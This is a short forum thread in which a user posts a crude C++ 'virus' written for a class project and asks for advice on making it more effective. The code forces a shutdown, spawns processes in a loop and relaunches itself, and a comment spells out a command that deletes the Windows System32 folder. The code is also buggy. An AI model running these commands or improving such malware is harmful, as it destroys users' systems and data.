Basic C++ Help

Discussion in 'C Programming' started by Gregaman, Mar 18, 2015.

  1. Gregaman

    Gregaman

    Joined:
    Mar 18, 2015
    Messages:
    1
    Likes Received:
    0
    I am writing a basic virus as a class project, approved by the instructor. I would like help or advice as to how to make this do what I would like it to the best. Please, point out any flaws or fallacies, and give me advice as to how to make this more effective. I've currently "neutered" the virus, making it so the most it does is crashes your computer, and allows you to reboot just fine. The program only runs when you run it yourself.

    #include"stdafx.h"
    #include<windows.h>
    #include <cstdio>
    #include <cstdlib>
    #include <iostream>
    #include <iomanip>
    #include <stdio.h>
    #include <stdlib.h>
    #include <time.h>
    using namespace std;
    int main()
    {
    int DS32;
    {
    class randomnumber;
    DS32=rand (); 1000 + 1;
    if (DS32>950) goto B;
    if (DS32<950) goto A;
    }
    B: system("shutdown -f"); //This is a placeholder command to protect the system. In an actual virus, it would harm the computer severely.
    A: do
    system("winhlp32.exe"); //Remember when you accidentally hit f1 and this showed up? Quite.
    while (system("explorer.exe")); //Too much of anything is too bad.
    system("widnow.exe"); //This will make the program run itself again... And again... And again.
    system("pause"); //Not entirely sure what this is for, but it doesn't work without it.
    return 0;
    }


    /*Below is the command that I would have used, had I wanted to cause legitimate harm to the computer.*/
    // remove("C:\windows\system32\\");
    /*Said command removes the all contents in the specified folder. Without System32, the system cannot boot.*/
     
    Gregaman, Mar 18, 2015
    #1
    1. Advertisements

Want to reply to this thread or ask your own question?

It takes just 2 minutes to sign up (and it's free!). Just click the sign up button to choose a username and then you can ask your own questions on the forum.
Similar Threads
  1. Ajith Nair
    Replies:
    1
    Views:
    855
  2. D
    Replies:
    0
    Views:
    654
  3. Francois
    Replies:
    2
    Views:
    552
    Francois Malgreve
    Nov 8, 2003
  4. Dougie

    Basic Permissions Problem HELP !!!

    Dougie, Jun 2, 2004, in forum: ASP .Net
    Replies:
    4
    Views:
    475
    Dougie
    Jun 2, 2004
  5. Chad Beckner
    Replies:
    3
    Views:
    743
    =?Utf-8?B?Q2xpbnQgSGlsbA==?=
    Sep 3, 2005
  6. GMHK
    Replies:
    4
    Views:
    529
    Roedy Green
    Sep 8, 2005
  7. Dakota Mon

    Basic Servlet help

    Dakota Mon, Feb 12, 2006, in forum: Java
    Replies:
    2
    Views:
    1,620
    viraj
    Feb 13, 2006
  8. Engineer
    Replies:
    6
    Views:
    1,005
    Jeremy Bowers
    May 1, 2005
Loading...